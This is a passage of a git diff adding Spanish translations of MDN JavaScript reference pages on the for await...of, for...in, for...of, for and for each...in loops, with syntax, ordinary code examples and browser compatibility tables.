+<p>La <strong>sentencia</strong> <strong><code>for await...of</code> </strong>crea un bucle iterando tanto sobre objetos iterables asincrónicos como sincrónicos, incluyendo: built-in {{jsxref("String")}}, {{jsxref("Array")}}, objetos <code>Array</code>-like (por ej., {{jsxref("Functions/arguments", "arguments")}} o {{domxref("NodeList")}}), {{jsxref("TypedArray")}}, {{jsxref("Map")}}, {{jsxref("Set")}}, y async/sync iterables definidos por el usuario. Invoca un hook de iteración personalizada con sentencias a ser ejecutadas por el valor de cada propiedad diferente del objeto.</p>
+
+<p class="hidden">El código fuente de este ejemplo interactivo está almacenado en un repositorio Github. Si te gustaría contribuir al proyecto de ejemplos interactivos, por favor clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envíanos un pull request.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">for await (<em>variable</em> of <em>iterable</em>) {
+  <em>sentencia
+</em>}
+</pre>
+
+<dl>
+ <dt><code>variable</code></dt>
+ <dd>En cada iteración, el valor de una propiedad diferente es asignado a <em>variable</em>. <em>variable</em> puede ser declarada con <code>const</code>, <code>let</code>, o <code>var</code>.</dd>
+ <dt><code>iterable</code></dt>
+ <dd>Objeto sobre cuyas propiedades se itera.</dd>
+</dl>
+
+<h3 id="Iterando_sobre_iterables_asincrónicos">Iterando sobre iterables asincrónicos</h3>
+
+<p>También puedes iterar sobre un objeto que explícitamente implementa el protocolo async iterable:</p>
+
+<pre class="brush:js">var asyncIterable = {
+  [Symbol.asyncIterator]() {
+    return {
+      i: 0,
+      next() {
+        if (this.i &lt; 3) {
+          return Promise.resolve({ value: this.i++, done: false });
+        }
+
+        return Promise.resolve({ done: true });
+      }
+    };
+  }
+};
+
+(async function() {
+   for await (let num of asyncIterable) {
+     console.log(num);
+   }
+})();
+
+// 0
+// 1
+// 2
+</pre>
+
+<h3 id="Iterando_sobre_funciones_generadoras_asincrónicas">Iterando sobre funciones generadoras asincrónicas</h3>
+
+<p>Debido a que las funciones generadoras asincrónicas implementan el protocolo async iterator, las mismas pueden ser iteradas utilizando <code>for await... of</code></p>
+
+<pre class="brush: js">async function* asyncGenerator() {
+  var i = 0;
+  while (i &lt; 3) {
+    yield i++;
+  }
+}
+
+(async function() {
+  for await (let num of asyncGenerator()) {
+    console.log(num);
+  }
+})();
+// 0
+// 1
+// 2</pre>
+
+<p>Para un ejemplo más concreto de iteración sobre una función generadora utilizando <code>for await... of</code>, considera iterar sobre datos provistos por una API. Este ejemplo primero crea un iterador asincrónico para un stream de datos, luego lo utiliza para obtener el tamaño de la respuesta desde la API.</p>
+
+<pre class="brush: js">async function* streamAsyncIterator(stream) {
+  const reader = stream.getReader();
+  try {
+    while (true) {
+      const { done, value } = await reader.read();
+      if (done) {
+        return;
+      }
+      yield value;
+    }
+  } finally {
+    reader.releaseLock();
+  }
+}
+// Obtiene datos desde url y calcula el tamaño de la respuesta utilizando la función generadora asincrónica.
+async function getResponseSize(url) {
+  const response = await fetch(url);
+  // Almacenará el tamaño de la respuesta en bytes.
+  let responseSize = 0;
+  // El buble for-await-of. Itera asincrónicamente sobre cada parte de la respuesta.
+  for await (const chunk of streamAsyncIterator(response.body)) {
+    // Incrementando el tamaño total.
+    responseSize += chunk.length;
+  }
+
+  console.log(`Tamaño de la respuesta: ${responseSize} bytes`);
+  // salida esperada: "Tamaño de la respuesta: 1071472"
+  return responseSize;
+}
+getResponseSize('https://jsonplaceholder.typicode.com/photos');</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-for-in-and-for-of-statements', 'ECMAScript Language: The for-in, for-of, and for-await-of Statements')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_Navegadores">Compatibilidad de Navegadores</h2>
+
+<div class="hidden">La tabla de compatiblidad de esta página es generada a partir de datos estructurados. Si te gustaría contribuir a estos datos, por favor clona <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos un pull request.</div>
+
+<p>{{Compat("javascript.statements.for_await_of")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Statements/for...of")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/sentencias/for...in/index.html b/files/es/web/javascript/referencia/sentencias/for...in/index.html
new file mode 100644
index 0000000000..0680d69dea
--- /dev/null
+++ b/files/es/web/javascript/referencia/sentencias/for...in/index.html
@@ -0,0 +1,150 @@
+---
+title: for...in
+slug: Web/JavaScript/Referencia/Sentencias/for...in
+tags:
+  - Característica del lenguaje
+  - Declaración
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Statements/for...in
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>La instrucción {{JSxRef("Sentencias/for...in", "for-in")}} itera sobre todas las {{JSxRef("../Enumerability_and_ownership_of_properties", "propiedades enumerables")}} de un objeto que está codificado por cadenas (ignorando los codificados por {{JSxRef("Objetos_globales/Symbol", "Símbolos")}}, incluidas las propiedades enumerables heredadas.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-forin.html")}}</div>
+
+<p class="hidden">La fuente de este ejemplo interactivo se almacena en un repositorio de GitHub. Si deseas contribuir al proyecto de ejemplos interactivos, clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envíanos una solicitud de extracción.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">for (<var>variable</var> in <var>objeto</var>)
+  instrucción</pre>
+
+<dl>
+ <dt><code>variable</code></dt>
+ <dd>Asigna un nombre de propiedad diferente a la <em>variable</em> en cada iteración.</dd>
+ <dt><code>objeto</code></dt>
+ <dd>Objeto cuyas propiedades enumerables que no son símbolos se iteran.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Un bucle <code>for...in</code> solo itera sobre propiedades enumerables que no son símbolo. Los objetos creados a partir de constructores integrados como <code>Array</code> y <code>Object</code> han heredado propiedades no enumerables de <code>Object.prototype</code> y <code>String.prototype</code>, como el método {{JSxRef("String.indexOf", "indexOf()")}} de {{JSxRef("String")}} o el método {{JSxRef("Object.toString", "toString()")}} de {{JSxRef("Object")}}. El bucle iterará sobre todas las propiedades enumerables del objeto en sí y aquellas que el objeto hereda de su cadena de prototipos (las propiedades de los prototipos más cercanos tienen prioridad sobre las de los prototipos más alejados del objeto en su cadena de prototipos).</p>
+
+<h3 id="Propiedades_deleted_added_o_modified">Propiedades <code>deleted</code>, <code>added</code> o <code>modified</code></h3>
+
+<p>Un bucle <code>for...in</code> itera sobre las propiedades de un objeto en un orden arbitrario (consulta el operador {{JSxRef("Operadores/delete", "delete")}} para obtener más información sobre por qué no puede depender del aparente orden de la iteración, al menos en una configuración entre navegadores).</p>
+
+<p>Si una propiedad se modifica en una iteración y luego se visita en un momento posterior, su valor en el bucle es su valor en ese momento posterior. Una propiedad que se elimina antes de haber sido visitada no se visitará más tarde. Las propiedades agregadas al objeto sobre el que se está produciendo la iteración se pueden visitar u omitir de la iteración.</p>
+
+<p>En general, es mejor no agregar, modificar o eliminar propiedades del objeto durante la iteración, aparte de la propiedad que se está visitando actualmente. No hay garantía de si se visitará una propiedad agregada, si se visitará una propiedad modificada (distinta de la actual) antes o después de que se modifique, o si se visitará una propiedad eliminada antes de eliminarla.</p>
+
+<h3 id="Iteración_en_arreglos_y_for...in">Iteración en arreglos y <code>for</code>...<code>in</code></h3>
+
+<div class="note">
+<p><strong>Nota</strong>: <code>for...in</code> no se debe usar para iterar sobre un {{JSxRef("Array")}} donde el orden del índice es importante.</p>
+</div>
+
+<p>Los índices del arreglo son solo propiedades enumerables con nombres enteros y, por lo demás, son idénticos a las propiedades generales del objeto. No hay garantía de que <code>for...in</code> devuelva los índices en un orden en particular. La instrucción de bucle <code>for...in</code> devolverá todas las propiedades enumerables, incluidas aquellas con nombres no enteros y aquellas que se heredan.</p>
+
+<p>Debido a que el orden de iteración depende de la implementación, es posible que la iteración sobre un arreglo no visite los elementos en un orden coherente. Por lo tanto, es mejor usar un bucle {{JSxRef("Sentencias/for", "for")}} con un índice numérico (o {{JSxRef("Array.prototype.forEach()")}} o el bucle {{JSxRef("Sentencias/for...of", "for...of")}}) cuando se itera sobre arreglos donde el orden de acceso es importante.</p>
+
+<h3 id="Iterar_solo_sobre_propiedades_directas">Iterar solo sobre propiedades directas</h3>
+
+<p>Si solo deseas considerar las propiedades adjuntas al objeto en sí mismo, y no sus prototipos, usa {{JSxRef("Object.getOwnPropertyNames", "getOwnPropertyNames()")}} o realiza una {{JSxRef("Object.prototype.hasOwnProperty", "hasOwnProperty()")}} verificación ({{jsxref("Object.prototype.propertyIsEnumerable", "propertyIsEnumerable()")}} también se puede utilizar). Alternativamente, si sabes que no habrá ninguna interferencia de código externo, puedes extender los prototipos incorporados con un método de verificación.</p>
+
+<h2 id="¿Por_qué_usar_for...in">¿Por qué usar <code>for</code>...<code>in</code>?</h2>
+
+<p>Dado que <code>for...in</code> está construido para iterar propiedades de objeto, no se recomienda su uso con arreglos y opciones como <code>Array.prototype.forEach()</code> y existe <code>for...of</code>, ¿cuál podría ser el uso de <code>for...in</code>?</p>
+
+<p>Es posible que se utilice de forma más práctica con fines de depuración, ya que es una forma fácil de comprobar las propiedades de un objeto (mediante la salida a la consola o de otro modo). Aunque los arreglos suelen ser más prácticos para almacenar datos, en situaciones en las que se prefiere un par clave-valor para trabajar con datos (con propiedades que actúan como la "clave"), puede haber casos en los que desees comprobar si alguna de esas claves cumple un valor particular.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Utilizar_for...in">Utilizar <code>for</code>...<code>in</code></h3>
+
+<p>El siguiente bucle <code>for...in</code> itera sobre todas las propiedades enumerables que no son símbolos del objeto y registra una cadena de los nombres de propiedad y sus valores.</p>
+
+<pre class="brush: js notranslate">var obj = {a: 1, b: 2, c: 3};
+
+for (const prop in obj) {
+  console.log(`obj.${prop} = ${obj[prop]}`);
+}
+
+// Produce:
+// "obj.a = 1"
+// "obj.b = 2"
+// "obj.c = 3"</pre>
+
+<h3 id="Iterar_propiedades_directas">Iterar propiedades directas</h3>
+
+<p>La siguiente función ilustra el uso de {{JSxRef("Object.prototype.hasOwnProperty", "hasOwnProperty()")}} — las propiedades heredadas no se muestran.</p>
+
+<pre class="brush: js notranslate">var triangle = {a: 1, b: 2, c: 3};
+
+function ColoredTriangle() {
+  this.color = 'red';
+}
+
+ColoredTriangle.prototype = triangle;
+
+var obj = new ColoredTriangle();
+
+for (const prop in obj) {
+  if (obj.hasOwnProperty(prop)) {
+    console.log(`obj.${prop} = ${obj[prop]}`);
+  }
+}
+
+// Produce:
+// "obj.color = red"
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-for-in-and-for-of-statements', 'declaración for...in')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("javascript.statements.for_in")}}</p>
+
+<h3 id="Compatibilidad_expresiones_iniciadoras_en_modo_estricto">Compatibilidad: expresiones iniciadoras en modo estricto</h3>
+
+<p>Antes de Firefox 40, era posible utilizar una expresión iniciadora (<code>i=0</code>) en un bucle <code>for...in</code>:</p>
+
+<pre class="brush: js example-bad notranslate">var obj = {a: 1, b: 2, c: 3};
+for (var i = 0 in obj) {
+  console.log(obj[i]);
+}
+// 1
+// 2
+// 3
+</pre>
+
+<p>Este comportamiento no estándar ahora se ignora en la versión 40 y posteriores, y presentará un {{JSxRef("SyntaxError")}} ("{{JSxRef("errors/Invalid_for-in_initializer", "iniciador for...in no válido", "las declaraciones de encabezado del bucle for-in posiblemente no tengan iniciadores")}} en {{JSxRef("Strict_mode", "modo estricto")}} ({{bug(748550)}} y {{bug(1164741)}}").</p>
+
+<p>Otros motores como v8 (Chrome), Chakra (IE/Edge) y JSC (WebKit/Safari) están investigando si eliminar también el comportamiento no estándar.</p>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{JSxRef("Sentencias/for...of", "for...of")}} — una declaración similar que itera sobre la propiedad <code>values</code></li>
+ <li>{{JSxRef("Sentencias/for_each...in", "for each...in")}} — una declaración similar pero obsoleta que itera sobre los valores de las propiedades de un objeto, en lugar de los nombres de las propiedades en sí</li>
+ <li>{{JSxRef("Sentencias/for", "for")}}</li>
+ <li>{{JSxRef("../Guide/Iterators_and_Generators", "Expresiones generadoras")}} (usa la sintaxis <code>for...in</code>)</li>
+ <li>{{JSxRef("../Enumerability_and_ownership_of_properties", "Enumerabilidad y posesión de propiedades")}}</li>
+ <li>{{JSxRef("Object.getOwnPropertyNames()")}}</li>
+ <li>{{JSxRef("Object.prototype.hasOwnProperty()")}}</li>
+ <li>{{JSxRef("Array.prototype.forEach()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/sentencias/for...of/index.html b/files/es/web/javascript/referencia/sentencias/for...of/index.html
new file mode 100644
index 0000000000..572308b41a
--- /dev/null
+++ b/files/es/web/javascript/referencia/sentencias/for...of/index.html
@@ -0,0 +1,319 @@
+---
+title: for...of
+slug: Web/JavaScript/Referencia/Sentencias/for...of
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Referencia
+  - Sentencia
+translation_of: Web/JavaScript/Reference/Statements/for...of
+---
+<div>
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><span style="font-size: 1rem; letter-spacing: -0.00278rem;">La sentencia </span><strong style="font-size: 1rem; letter-spacing: -0.00278rem;">sentencia <code>for...of</code></strong><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> ejecuta un bloque de código para cada elemento de un </span><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/iterable" style="font-size: 1rem; letter-spacing: -0.00278rem;">objeto iterable</a>,<span style="font-size: 1rem; letter-spacing: -0.00278rem;"> como lo son: {{jsxref("String")}}, {{jsxref("Array")}}, objetos similares a array (por ejemplo, {{jsxref("Functions/arguments", "arguments")}} or </span><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/NodeList" style="font-size: 1rem; letter-spacing: -0.00278rem;" title="NodeList objects are collections of nodes, usually returned by properties such as Node.childNodes and methods such as document.querySelectorAll()."><code>NodeList</code></a><span style="font-size: 1rem; letter-spacing: -0.00278rem;">), {{jsxref("TypedArray")}}, {{jsxref("Map")}}, {{jsxref("Set")}} e iterables definidos por el usuario.</span></p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">for (<em>variable</em> of <em>iterable</em>) {
+  <em>statement
+</em>}
+</pre>
+
+<dl>
+ <dt><code>variable</code></dt>
+ <dd>En cada iteración el elemento (propiedad enumerable) correspondiente es asignado a <em>variable</em>. </dd>
+ <dt><code>iterable</code></dt>
+ <dd>Objeto cuyas propiedades enumerables son iteradas. </dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Iterando_un_jsxrefArray">Iterando un {{jsxref("Array")}}</h3>
+
+<pre class="brush: js">let iterable = [10, 20, 30];
+
+for (let value of iterable) {
+  value += 1;
+  console.log(value);
+}
+// 11
+// 21
+// 31
+</pre>
+
+<p>Es posible usar <code>const</code> en lugar de <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a> </code>si no se va a modificar la variable dentro del bloque.</p>
+
+<pre class="brush: js">let iterable = [10, 20, 30];
+
+for (const value of iterable) {
+  console.log(value);
+}
+// 10
+// 20
+// 30</pre>
+
+<h3 id="Iterando_un_jsxrefString">Iterando un {{jsxref("String")}}</h3>
+
+<pre class="brush: js">let iterable = "boo";
+
+for (let value of iterable) {
+  console.log(value);
+}
+// "b"
+// "o"
+// "o"</pre>
+
+<h3 id="Iterando_un_jsxrefTypedArray">Iterando un {{jsxref("TypedArray")}}</h3>
+
+<pre class="brush: js">let iterable = new Uint8Array([0x00, 0xff]);
+
+for (let value of iterable) {
+  console.log(value);
+}
+// 0
+// 255</pre>
+
+<h3 id="Iterando_un_jsxrefMap">Iterando un {{jsxref("Map")}}</h3>
+
+<pre class="brush: js">let iterable = new Map([["a", 1], ["b", 2], ["c", 3]]);
+
+for (let entry of iterable) {
+  console.log(entry);
+}
+// ['a', 1]
+// ['b', 2]
+// ['c', 3]
+
+for (let [key, value] of iterable) {
+  console.log(value);
+}
+// 1
+// 2
+// 3</pre>
+
+<h3 id="Iterando_un_jsxrefSet">Iterando un {{jsxref("Set")}}</h3>
+
+<pre class="brush: js">let iterable = new Set([1, 1, 2, 2, 3, 3]);
+
+for (let value of iterable) {
+  console.log(value);
+}
+// 1
+// 2
+// 3</pre>
+
+<h3 id="Iterando_un_objeto_arguments">Iterando un objeto <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/arguments">arguments</a></h3>
+
+<pre class="brush: js">(function() {
+  for (let argument of arguments) {
+    console.log(argument);
+  }
+})(1, 2, 3);
+
+// 1
+// 2
+// 3</pre>
+
+<h3 id="Iterando_una_colección_del_DOM">Iterando una colección del DOM</h3>
+
+<p>Iterando colecciones del DOM como un {{domxref("NodeList")}}: el siguiente ejemplo añade la clase "read" a los párrafos (<code>&lt;p&gt;</code>) que son descendientes directos de un (<code>&lt;article&gt;</code>):</p>
+
+<pre class="brush: js">// Nota: Esto solo funcionará en plataformas que tengan
+// implementado NodeList.prototype[Symbol.iterator]
+let articleParagraphs = document.querySelectorAll("article &gt; p");
+
+for (let paragraph of articleParagraphs) {
+  paragraph.classList.add("read");
+}</pre>
+
+<h3 id="Clausurando_iteraciones">Clausurando iteraciones</h3>
+
+<p>En los bucles <code>for...of</code>, se puede causar que la iteración termine de un modo brusco usando: <code>break</code>, <code>continue<a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Sentencias/for...of$edit#Chrome_closing_1">[4]</a></code>, <code>throw</code> or <code>return<a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Sentencias/for...of$edit#Chrome_closing_2">[5]</a></code>. En estos casos la iteración se cierra.</p>
+
+<pre><code>function* foo(){
+  yield 1;
+  yield 2;
+  yield 3;
+};
+
+for (let o of foo()) {
+  console.log(o);
+  break; // closes iterator, triggers return
+}</code></pre>
+
+<h3 id="Iterando_generadores">Iterando generadores</h3>
+
+<p>También es posible iterar las nuevas funciones <strong><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/function*">generator</a></strong>:</p>
+
+<pre class="brush: js">function* fibonacci() { // una función generador
+  let [prev, curr] = [0, 1];
+  while (true) {
+    [prev, curr] = [curr, prev + curr];
+    yield curr;
+  }
+}
+
+for (let n of fibonacci()) {
+  console.log(n);
+  // interrumpir la secuencia en 1000
+  if (n &gt;= 1000) {
+    break;
+  }
+}</pre>
+
+<div class="note">
+<h4 id="No_se_deben_reutilizar_los_generadores"><a id="#re-use" name="#re-use">No se deben reutilizar los generadores</a></h4>
+
+<p>Los generadores no deben ser reutilizados, incluso si el bucle <strong><code>for...of</code></strong> se ha terminado antes de tiempo con la sentencia <a href="/es/docs/Web/JavaScript/Referencia/Sentencias/break">break</a>. Una vez abandonado el bucle, el generador está cerrado y tratar de iterar sobre él de nuevo no dará más resultados. Firefox no ha implementado aún este comportamiento y el generador puede ser reutilizado en contra de lo escrito en el estándar ES6 (<a href="https://www.ecma-international.org/ecma-262/6.0/#sec-13.7.5.13">13.7.5.13, step 5m</a>), pero esto cambiará una vez que el bug {{Bug(1147371)}} haya sido corregido.</p>
+</div>
+
+<pre class="brush: js example-bad">var gen = (function *(){
+  yield 1;
+  yield 2;
+  yield 3;
+})();
+for (let o of gen) {
+  console.log(o);
+  break;  // Finaliza la iteración
+}
+
+// El generador no debe ser reutilizado, lo siguiente no tiene sentido
+for (let o of gen) {
+  console.log(o); // Nunca será llamado
+}</pre>
+
+<h3 id="Iterando_otros_objetos_iterables">Iterando otros objetos iterables</h3>
+
+<p>Es posible, además, iterar un objeto que explicitamente implemente el protocolo <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#iterable">iterable</a>:</p>
+
+<pre class="brush: js">var iterable = {
+  [Symbol.iterator]() {
+    return {
+      i: 0,
+      next() {
+        if (this.i &lt; 3) {
+          return { value: this.i++, done: false };
+        }
+        return { value: undefined, done: true };
+      }
+    };
+  }
+};
+
+for (var value of iterable) {
+  console.log(value);
+}
+// 0
+// 1
+// 2</pre>
+
+<h3 id="Diferencia_entre_for...of_y_for...in">Diferencia entre <code>for...of</code> y <code>for...in</code></h3>
+
+<p>El bucle <code><strong><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in" title="en-US/docs/JavaScript/Reference/Statements/for...in">for...in</a></strong> iterará sobre <strong>todas las propiedades de un objeto</strong>.</code> Más tecnicamente, iterará sobre cualquier propiedad en el objeto que haya sido internamente definida con su propiedad <code>[[Enumerable]] </code>configurada como <code>true</code>. </p>
+
+<p>La sintaxis de  <strong><code>for...of</code> </strong>es específica para las <strong>colecciones</strong>, y no para todos los objetos. Esta Iterará sobre cualquiera de los elementos de una colección que tengan la propiedad <code>[Symbol.iterator]</code>.</p>
+
+<p>El siguiente ejemplo muestra las diferencias entre un bucle<strong> <code>for...of</code></strong> y un bucle <strong>f<code>or...in</code></strong>. </p>
+
+<pre class="brush: js">let arr = [3, 5, 7];
+arr.foo = "hola";
+
+for (let i in arr) {
+   console.log(i); // logs "0", "1", "2", "foo"
+}
+
+for (let i of arr) {
+   console.log(i); // logs "3", "5", "7"
+}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Cometario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-for-in-and-for-of-statements', 'for...of statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-for-in-and-for-of-statements', 'for...of statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Edge</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome(38)}} <a href="##Chrome_note_1">[1]</a><br>
+    {{CompatChrome(51)}} <a href="##Chrome_note_3">[3]</a></td>
+   <td>{{CompatGeckoDesktop("13")}} <a href="##Gecko_note_2">[2]</a> <a href="##Chrome_note_4">[4]</a></td>
+   <td>12</td>
+   <td>25</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>5.1</td>
+   <td>{{CompatChrome(38)}} <a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Sentencias/for...of$edit#Chrome_note_1">[1]</a></td>
+   <td>{{CompatGeckoMobile("13")}} <a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Sentencias/for...of$edit#Gecko_note_2">[2]</a></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p><a id="#Chrome_note_1" name="#Chrome_note_1">[1]</a> Desde Chrome 29 a Chrome 37 esta funcionalidad estuvo disponible al activar la opción chrome://flags/#enable-javascript-harmony: “JavaScript experimental”.</p>
+
+<p><a id="#Gecko_note_2" name="#Gecko_note_2">[2]</a> Antes de Firefox 51, el uso de <code>for...of usando</code> {{jsxref("const")}}<code> resultaba en un</code> {{jsxref("SyntaxError")}} ("missing = in const declaration"). El problema ha sido resuelto ({{bug(1101653)}}).</p>
+
+<p><a id="#Chrome_note_3" name="#Chrome_note_3">[3]</a> Chrome 51 añadió soporte para iterar objetos.</p>
+
+<p><a id="#Chrome_note_4" name="#Chrome_note_4">[4]</a> Firefox aún permite el uso de un generador después de haber interrumpido el bucle {{Bug(1147371)}}. Como se vio más arriba, <a href="##re-use">no se deben reutilizar los generadores</a>.</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Map.prototype.forEach()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/sentencias/for/index.html b/files/es/web/javascript/referencia/sentencias/for/index.html
new file mode 100644
index 0000000000..875236ba2b
--- /dev/null
+++ b/files/es/web/javascript/referencia/sentencias/for/index.html
@@ -0,0 +1,57 @@
+---
+title: for
+slug: Web/JavaScript/Referencia/Sentencias/for
+tags:
+  - JavaScript
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/for
+---
+<div>
+ {{jsSidebar("Statements")}}</div>
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+<p>Crea un bucle que consiste en tres expresiones opcionales, encerradas en paréntesis y separadas por puntos y comas, seguidas de una sentencia ejecutada en un bucle.</p>
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+<pre class="syntaxbox">for ([<em>expresion-inicial</em>]; [<em>condicion</em>]; [<em>expresion-final</em>])<em>sentencia</em>
+</pre>
+<dl>
+ <dt>
+  <code>expresion-inicial</code></dt>
+ <dd>
+  Una expresión (incluyendo las expresiones de asignación) o la declaración de variable. Típicamente se utiliza para usarse como variable contador. Esta expresión puede opcionalmente declarar nuevas variables con la palabra clave <code>var</code>. Estas variables no son locales del bucle, es decir, están en el mismo alcance en el que está el bucle <code>for</code>. El resultado de esta expresión es descartado.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>condicion</code></dt>
+ <dd>
+  Una expresión para ser evaluada antes de cada iteración del bucle. Si esta expresión se evalúa como verdadera, se ejecuta <code>sentencia</code>. Esta comprobación condicional es opcional. Si se omite, la condición siempre se evalúa como verdadera. Si la expresión se evalúa como falsa, la ejecución salta a la primera expresión que sigue al constructor de <code>for</code>.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>expresion-final</code></dt>
+ <dd>
+  Una expresión para ser evaluada al final de cada iteración del bucle. Esto ocurre antes de la siguiente evaluación de la <code>condicion</code>. Generalmente se usa para actualizar o incrementar la variable contador.</dd>
+</dl>
+<dl>
+ <dt>
+  <code>sentencia</code></dt>
+ <dd>
+  Una sentencia que se ejecuta mientras la condición se evalúa como verdadera. Para ejecutar múltiples sentencias dentro del bucle, utilice una sentencia {{jsxref("Sentencias/block", "block")}} (<code>{ ... }</code>) para agrupar aquellas sentecias.</dd>
+</dl>
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+<h4 id="Ejemplo:_Usando_for" name="Ejemplo:_Usando_for">Ejemplo: Usando <code>for</code></h4>
+<p>La siguiente sentencia <code>for</code> comienza mediante la declaración de la variable <code>i</code> y se inicializa a <code>0</code>. Comprueba que <code>i</code> es menor que nueve, realiza las dos sentencias con éxito e incrementa <code>i</code> en 1 después de cada pase del bucle.</p>
+<pre class="eval">for (var i = 0; i &lt; 9; i++) {
+   n += i;
+   mifuncion(n);
+}
+</pre>
+<h2 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h2>
+<ul>
+ <li>{{jsxref("Sentencias/break", "break")}}</li>
+ <li>{{jsxref("Sentencias/continue", "continue")}}</li>
+ <li>{{jsxref("Sentencias/empty", "empty")}}</li>
+ <li>{{jsxref("Sentencias/while", "while")}}</li>
+ <li>{{jsxref("Sentencias/do...while", "do...while")}}</li>
+ <li>{{jsxref("Sentencias/for...in", "for...in")}}</li>
+ <li>{{jsxref("Sentencias/for...of", "for...of")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/sentencias/for_each...in/index.html b/files/es/web/javascript/referencia/sentencias/for_each...in/index.html
new file mode 100644
index 0000000000..bec1303e99
--- /dev/null
+++ b/files/es/web/javascript/referencia/sentencias/for_each...in/index.html
@@ -0,0 +1,67 @@
+---
+title: for each...in
+slug: Web/JavaScript/Referencia/Sentencias/for_each...in
+tags:
+  - Deprecated
+  - E4X
+  - JavaScript
+  - Statement
+translation_of: Archive/Web/JavaScript/for_each...in
+---
+<p>{{jsSidebar("Statements")}} </p>
+
+<div class="warning">
+<p>La sentencia <code>for each ... in</code> ha quedado obsoleta como parte del estándar ECMA-357 (E4X). El soporte E4X ha sido quitado. Considere usar <code>for .. of</code> en su lugar. (Por favor, referirse al {{bug("791343")}}.)</p>
+</div>
+
